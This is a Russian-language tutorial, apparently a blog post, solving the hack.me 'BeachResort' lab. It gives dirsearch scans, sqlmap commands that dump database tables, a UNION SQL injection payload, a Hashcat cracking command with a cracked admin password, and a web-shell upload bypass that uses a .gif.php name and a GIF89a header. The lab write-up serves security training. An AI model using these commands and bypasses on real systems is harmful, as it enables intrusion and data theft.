Pull to refresh

Hack.me: Ещё одна площадка для оттачивания навыков в области ИБ

Information Security *CTF *
Tutorial


Всем доброго времени суток, сегодня не будет VulnHub'a. Сегодня рассмотрим его альтернативу hack.me. На котором содержится не мало интересных площадок для взлома, на различные темы. В этой статье рассмотрим BeachResort. Как пишет автор, это не типичный CTF, тут вместо флагов, нас просят проверить CMS сайта на безопасность, а заодно узнать следующее:

  1. Имя администратора сайта
  2. Название БД
  3. Список таблиц
  4. Список всех файлов в корневой директории CMS
  5. Лицензионный ключ
  6. Содержимое очень секретного файла

Приступим


После старта, нам становится доступна временная ссылка на уязвимый сайт. Побродив по сайту, ничего интересного на нём не находим, поэтому перейдём к сканированию скрытых директорий:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent



Сканируем дальше:

$ sudo dirsearch -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm' -e php,txt,html -w /usr/share/dirb/wordlists/big.txt -x 503,403 --random-agent



Как и ожидалось, тут есть форма авторизации:



И так как от нас требуется узнать информацию о БД и её содержимом, то вероятно мы имеем дело с SQL injection. Осталось её найти:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch --dbs

Sqlmap успешно справился с поставленной задачей, выдал название базы данных: supercms и вот такой Payload:
Payload: user=admin' UNION ALL SELECT CONCAT(0x7176707a71,0x6964745475644f6f614968737948504a5a484b496a4f476355556b4172726d4f56766d6d53755276,0x71766a6b71)-- OFdY&pass=admin

Переходим к списку таблиц:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms --tables



Таблица groups нам не интересна, в задании что-то говорилось про лицензионный ключ. Посмотрим соответствующую таблицу:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T license --dump



Ещё 1 пункт завершён, осталось взглянуть на список пользователей, заодно, вероятно там должно быть имя администратора CMS:

$ sudo sqlmap -u 'http://s60229-102657-xpo.croto.hack.me/cmsadm/login.php' --data='user=admin&pass=admin' -p user --dbms=MySQL --random-agent --batch -D supercms -T operators --dump



Админ найден, и даже большую часть паролей sqlmap за нас расшифровал, чтобы найти последний, воспользуемся Hashcat'ом:

$ sudo /opt/cudaHashcat/cudaHashcat32.bin -m 0 hashes /media/DATA/passwords/hashkiller-dict.txt

И через несколько секунд получаем требуемый пароль:

2bfea2ff114ccd30d95e176a1d25346a:!superadmin!

Пробуем авторизоваться, и попадаем вот на такую страницу:



В целом ничего интересного, кроме страницы с возможностью загрузить изображение:



Попробовав загрузить простенький шелл, получаем ошибку:



Ок, зальём туда b374k, предварительно обработав запрос плагином Tamper Data для Firefox. Всё что нужно, это заменить название файла в перехваченном запросе на b374k.gif.php, и добавив в начало файла сигнатуру GIF89а:



Отправляем запрос, получаем сообщение об успешной загрузке. Предположив, что по логике наша «шелл-картинка» должна загрузиться в директорию images, пробуем открыть только что загруженный файл:



Приступим к выполнению последних заданий, а именно получим список файлов и директорий:



Тут же находим файл secret.noop, который является последним звеном:



Все задания выполнены, можно смело отправлять ответы автору, для подтверждения прохождения.
Tags:
Hubs:
Total votes 37: ↑34 and ↓3 +31
Views 42K
Comments Comments 11